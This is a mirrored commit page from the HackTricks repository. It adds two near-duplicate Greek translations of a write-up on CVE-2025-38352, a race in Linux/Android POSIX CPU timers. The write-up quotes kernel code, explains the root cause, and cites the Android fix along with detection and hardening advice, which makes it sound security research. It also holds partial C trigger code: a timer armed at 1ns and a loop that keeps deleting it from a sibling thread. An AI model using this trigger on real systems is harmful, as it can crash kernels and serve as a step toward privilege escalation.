mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/linux-kernel-explo
This commit is contained in:
parent
6406791426
commit
1bf6b3d26f
@ -937,3 +937,5 @@
|
||||
- [Post Exploitation](todo/post-exploitation.md)
|
||||
- [Investment Terms](todo/investment-terms.md)
|
||||
- [Cookies Policy](todo/cookies-policy.md)
|
||||
|
||||
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
@ -0,0 +1,195 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα τεκμηριώνει έναν TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό κάποιες συνθήκες να οδηγηθεί σε privilege escalation.
|
||||
|
||||
- Affected component: kernel/time/posix-cpu-timers.c
|
||||
- Primitive: expiry vs deletion race under task exit
|
||||
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Σύντομη ανακεφαλαίωση εσωτερικών (relevant for exploitation)
|
||||
- Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Η δημιουργία timer συνδέει έναν timer με ένα task/pid και αρχικοποιεί τους timerqueue κόμβους:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Η ενεργοποίηση εισάγει σε ένα per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- Η γρήγορη διαδρομή αποφεύγει δαπανητική επεξεργασία εκτός αν οι cached expiries υποδεικνύουν πιθανή ενεργοποίηση:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
- Η λήξη συλλέγει τους ληγμένους χρονοδιακόπτες, τους επισημαίνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Δύο τρόποι επεξεργασίας λήξης
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η επεξεργασία λήξης αναβάλλεται μέσω task_work στην target task
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η επεξεργασία λήξης γίνεται απευθείας στο IRQ context
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται εκτός του sighand
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU μεταξύ της λήξης σε χρόνο IRQ και ταυτόχρονης διαγραφής κατά την έξοδο του task
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK είναι απενεργοποιημένο (χρησιμοποιείται το IRQ path)
|
||||
- Ο target task τερματίζει αλλά δεν έχει reaped πλήρως
|
||||
- Ένα άλλο thread καλεί ταυτόχρονα posix_cpu_timer_del() για τον ίδιο timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() ενεργοποιεί run_posix_cpu_timers() σε IRQ context για το task που τερματίζει.
|
||||
2) collect_timerqueue() θέτει ctmr->firing = 1 και μετακινεί τον timer στη προσωρινή λίστα firing.
|
||||
3) handle_posix_cpu_timers() αποδεσμεύει το sighand μέσω unlock_task_sighand() για να παραδώσει timers έξω από το lock.
|
||||
4) Άμεσα μετά το unlock, το τερματιζόμενο task μπορεί να reaped· ένα sibling thread εκτελεί posix_cpu_timer_del().
|
||||
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει τον κανονικό in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην είναι firing, διαφθείροντας το state ενώ η expiry χειρίζεται, οδηγώντας σε crashes/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η expiry αναβάλλεται στο task_work· το exit_task_work τρέχει πριν το exit_notify, οπότε δεν συμβαίνει η χρονική επικάλυψη IRQ με το reaping.
|
||||
- Ακόμα κι έτσι, αν το task ήδη τερματίζει, το task_work_add() αποτυγχάνει· το gating στο exit_state καθιστά και τις δύο modes συνεπείς.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Προσθέστε έγκαιρη επιστροφή εάν το current task τερματίζει, περιορίζοντας όλη την επεξεργασία:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για exiting tasks, εξαλείφοντας το παράθυρο όπου η posix_cpu_timer_del() θα μπορούσε να χάσει το it.cpu.firing και να ανταγωνιστεί με την επεξεργασία λήξης.
|
||||
|
||||
Impact
|
||||
- Η καταστροφή μνήμης του kernel στις δομές timer κατά την ταυτόχρονη λήξη/διαγραφή μπορεί να προκαλέσει άμεσες καταρρεύσεις (DoS) και αποτελεί ισχυρό primitive προς privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
|
||||
|
||||
Triggering the bug (safe, reproducible conditions)
|
||||
Build/config
|
||||
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
|
||||
|
||||
Runtime strategy
|
||||
- Στοχεύστε ένα thread που πρόκειται να τερματιστεί και επισυνάψτε σ' αυτό έναν CPU timer (per-thread ή process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιηθούν οι IRQ-path entries:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- Από ένα αδελφικό νήμα, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το νήμα-στόχος τερματίζεται:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Παράγοντες επιδείνωσης race condition: υψηλός ρυθμός scheduler tick, φορτίο CPU, επαναλαμβανόμενοι κύκλοι εξόδου/επαναδημιουργίας thread. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί ότι έχει fired λόγω αποτυχίας στην αναζήτηση/κλείδωμα task αμέσως μετά το unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: εφαρμόστε το exit_state guard· προτιμήστε την ενεργοποίηση του CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
|
||||
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με αποτυχία cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο task.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
@ -0,0 +1,195 @@
|
||||
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Αυτή η σελίδα τεκμηριώνει μια συνθήκη αγώνα TOCTOU στους POSIX CPU timers του Linux/Android που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να οδηγηθεί σε privilege escalation.
|
||||
|
||||
- Επηρεαζόμενο συστατικό: kernel/time/posix-cpu-timers.c
|
||||
- Βασική τεχνική: αγώνας λήξης έναντι διαγραφής κατά την έξοδο διεργασίας
|
||||
- Εξαρτάται από ρύθμιση: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
|
||||
|
||||
Σύντομη ανασκόπηση εσωτερικών (relevant for exploitation)
|
||||
- Τρία CPU clocks χειρίζονται την καταγραφή για timers μέσω cpu_clock_sample():
|
||||
- CPUCLOCK_PROF: utime + stime
|
||||
- CPUCLOCK_VIRT: utime only
|
||||
- CPUCLOCK_SCHED: task_sched_runtime()
|
||||
- Η δημιουργία timer συνδέει ένα timer με ένα task/pid και αρχικοποιεί τους κόμβους timerqueue:
|
||||
```c
|
||||
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
|
||||
struct pid *pid;
|
||||
rcu_read_lock();
|
||||
pid = pid_for_clock(new_timer->it_clock, false);
|
||||
if (!pid) { rcu_read_unlock(); return -EINVAL; }
|
||||
new_timer->kclock = &clock_posix_cpu;
|
||||
timerqueue_init(&new_timer->it.cpu.node);
|
||||
new_timer->it.cpu.pid = get_pid(pid);
|
||||
rcu_read_unlock();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
- Η ενεργοποίηση εισάγει στην per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
|
||||
```c
|
||||
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
|
||||
struct posix_cputimer_base *base = timer_base(timer, p);
|
||||
struct cpu_timer *ctmr = &timer->it.cpu;
|
||||
u64 newexp = cpu_timer_getexpires(ctmr);
|
||||
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
|
||||
if (newexp < base->nextevt) base->nextevt = newexp;
|
||||
}
|
||||
```
|
||||
- Η γρήγορη διαδρομή αποφεύγει δαπανηρή επεξεργασία εκτός αν οι προσωρινά αποθηκευμένες ημερομηνίες λήξης υποδεικνύουν πιθανή ενεργοποίηση:
|
||||
```c
|
||||
static inline bool fastpath_timer_check(struct task_struct *tsk) {
|
||||
struct posix_cputimers *pct = &tsk->posix_cputimers;
|
||||
if (!expiry_cache_is_inactive(pct)) {
|
||||
u64 samples[CPUCLOCK_MAX];
|
||||
task_sample_cputime(tsk, samples);
|
||||
if (task_cputimers_expired(samples, pct))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
Η διαδικασία λήξης συλλέγει ληγμένους χρονοδιακόπτες, τους σημειώνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς; η πραγματική παράδοση αναβάλλεται:
|
||||
```c
|
||||
#define MAX_COLLECTED 20
|
||||
static u64 collect_timerqueue(struct timerqueue_head *head,
|
||||
struct list_head *firing, u64 now) {
|
||||
struct timerqueue_node *next; int i = 0;
|
||||
while ((next = timerqueue_getnext(head))) {
|
||||
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
|
||||
u64 expires = cpu_timer_getexpires(ctmr);
|
||||
if (++i == MAX_COLLECTED || now < expires) return expires;
|
||||
ctmr->firing = 1; // critical state
|
||||
rcu_assign_pointer(ctmr->handling, current);
|
||||
cpu_timer_dequeue(ctmr);
|
||||
list_add_tail(&ctmr->elist, firing);
|
||||
}
|
||||
return U64_MAX;
|
||||
}
|
||||
```
|
||||
Δύο τρόποι επεξεργασίας λήξης
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω task_work στο target task
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
|
||||
```c
|
||||
void run_posix_cpu_timers(void) {
|
||||
struct task_struct *tsk = current;
|
||||
__run_posix_cpu_timers(tsk);
|
||||
}
|
||||
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
|
||||
tsk->posix_cputimers_work.scheduled = true;
|
||||
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
|
||||
}
|
||||
#else
|
||||
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
|
||||
lockdep_posixtimer_enter();
|
||||
handle_posix_cpu_timers(tsk); // IRQ-context path
|
||||
lockdep_posixtimer_exit();
|
||||
}
|
||||
#endif
|
||||
```
|
||||
Στο μονοπάτι IRQ-context, η firing list επεξεργάζεται έξω από το sighand
|
||||
```c
|
||||
static void handle_posix_cpu_timers(struct task_struct *tsk) {
|
||||
struct k_itimer *timer, *next; unsigned long flags, start;
|
||||
LIST_HEAD(firing);
|
||||
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
|
||||
do {
|
||||
start = READ_ONCE(jiffies); barrier();
|
||||
check_thread_timers(tsk, &firing);
|
||||
check_process_timers(tsk, &firing);
|
||||
} while (!posix_cpu_timers_enable_work(tsk, start));
|
||||
unlock_task_sighand(tsk, &flags); // race window opens here
|
||||
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
|
||||
int cpu_firing;
|
||||
spin_lock(&timer->it_lock);
|
||||
list_del_init(&timer->it.cpu.elist);
|
||||
cpu_firing = timer->it.cpu.firing; // read then reset
|
||||
timer->it.cpu.firing = 0;
|
||||
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
|
||||
rcu_assign_pointer(timer->it.cpu.handling, NULL);
|
||||
spin_unlock(&timer->it_lock);
|
||||
}
|
||||
}
|
||||
```
|
||||
Root cause: TOCTOU μεταξύ λήξης σε IRQ-time και ταυτόχρονης διαγραφής κατά την έξοδο του task
|
||||
Preconditions
|
||||
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
|
||||
- Το target task εξέρχεται αλλά δεν έχει ακόμη ολοκληρωθεί το reap
|
||||
- Ένα άλλο thread ταυτόχρονα καλεί posix_cpu_timer_del() για τον ίδιο timer
|
||||
|
||||
Sequence
|
||||
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
|
||||
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
|
||||
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
|
||||
4) Αμέσως μετά το unlock, το exiting task μπορεί να συλλεχθεί (reaped); ένα sibling thread εκτελεί posix_cpu_timer_del().
|
||||
5) Σε αυτό το παράθυρο, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει την κανονική in-flight guard που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην γίνεται firing, διαφθείροντας το state ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.
|
||||
|
||||
Why TASK_WORK mode is safe by design
|
||||
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η λήξη αναβάλλεται σε task_work; exit_task_work τρέχει πριν το exit_notify, οπότε η επικαλυψη IRQ-time με το reaping δεν συμβαίνει.
|
||||
- Ακόμη και τότε, αν το task ήδη εξέρχεται, task_work_add() αποτυγχάνει; ο έλεγχος με βάση το exit_state καθιστά και τις δύο λειτουργίες συνεπείς.
|
||||
|
||||
Fix (Android common kernel) and rationale
|
||||
- Add an early return if current task is exiting, gating all processing:
|
||||
```c
|
||||
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
|
||||
if (tsk->exit_state)
|
||||
return;
|
||||
```
|
||||
- Αυτό αποτρέπει την είσοδο στο handle_posix_cpu_timers() για εργασίες που τερματίζουν, εξαλείφοντας το παράθυρο όπου το posix_cpu_timer_del() θα μπορούσε να το χάσει (it.cpu.firing) και να προκαλέσει συνθήκη αγώνα με την επεξεργασία λήξης.
|
||||
|
||||
Επιπτώσεις
|
||||
- Η καταστροφή μνήμης του kernel σε δομές timer κατά τη σύγχρονη λήξη/διαγραφή μπορεί να οδηγήσει σε άμεσα crashes (DoS) και αποτελεί ισχυρό primitive για privilege escalation λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
|
||||
|
||||
Προκαλώντας το bug (ασφαλείς, επαναπαραγωγικές συνθήκες)
|
||||
Build/config
|
||||
- Βεβαιωθείτε ότι CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n και χρησιμοποιήστε έναν kernel χωρίς το διορθωτικό για το exit_state gating.
|
||||
|
||||
Στρατηγική χρόνου εκτέλεσης
|
||||
- Στοχεύστε ένα thread που πρόκειται να τερματίσει και επισυνάψτε ένα CPU timer σε αυτό (per-thread ή process-wide clock):
|
||||
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
|
||||
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
|
||||
- Οπλίστε με πολύ μικρή αρχική λήξη και μικρό διάστημα για να μεγιστοποιήσετε τις εισόδους στο IRQ-path:
|
||||
```c
|
||||
static timer_t t;
|
||||
static void setup_cpu_timer(void) {
|
||||
struct sigevent sev = {0};
|
||||
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
|
||||
sev.sigev_signo = SIGUSR1;
|
||||
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
|
||||
struct itimerspec its = {0};
|
||||
its.it_value.tv_nsec = 1; // fire ASAP
|
||||
its.it_interval.tv_nsec = 1; // re-fire
|
||||
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
|
||||
}
|
||||
```
|
||||
- Από ένα sibling thread, διαγράψτε ταυτόχρονα τον ίδιο timer ενώ το target thread τερματίζει:
|
||||
```c
|
||||
void *deleter(void *arg) {
|
||||
for (;;) (void)timer_delete(t); // hammer delete in a loop
|
||||
}
|
||||
```
|
||||
- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. Το crash συνήθως εμφανίζεται όταν posix_cpu_timer_del() παραλείπει να αντιληφθεί το firing λόγω αποτυχίας task lookup/locking αμέσως μετά το unlock_task_sighand().
|
||||
|
||||
Detection and hardening
|
||||
- Mitigation: apply the exit_state guard; προτιμήστε την ενεργοποίηση CONFIG_POSIX_CPU_TIMERS_TASK_WORK όταν είναι εφικτό.
|
||||
- Observability: προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del(); ειδοποιήστε όταν it.cpu.firing==1 παρατηρείται μαζί με failed cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε για ασυμφωνίες στο timerqueue γύρω από την έξοδο του task.
|
||||
|
||||
Audit hotspots (for reviewers)
|
||||
- update_process_times() → run_posix_cpu_timers() (IRQ)
|
||||
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
|
||||
- collect_timerqueue(): sets ctmr->firing and moves nodes
|
||||
- handle_posix_cpu_timers(): drops sighand before firing loop
|
||||
- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
|
||||
|
||||
Notes for exploitation research
|
||||
- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
|
||||
|
||||
## References
|
||||
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
|
||||
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
|
||||
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user